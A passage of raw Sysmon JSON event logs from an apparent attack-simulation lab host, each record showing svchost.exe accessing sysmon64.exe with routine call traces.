ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4604,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4605,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4606,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4607,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4608,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4609,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4610,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4611,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 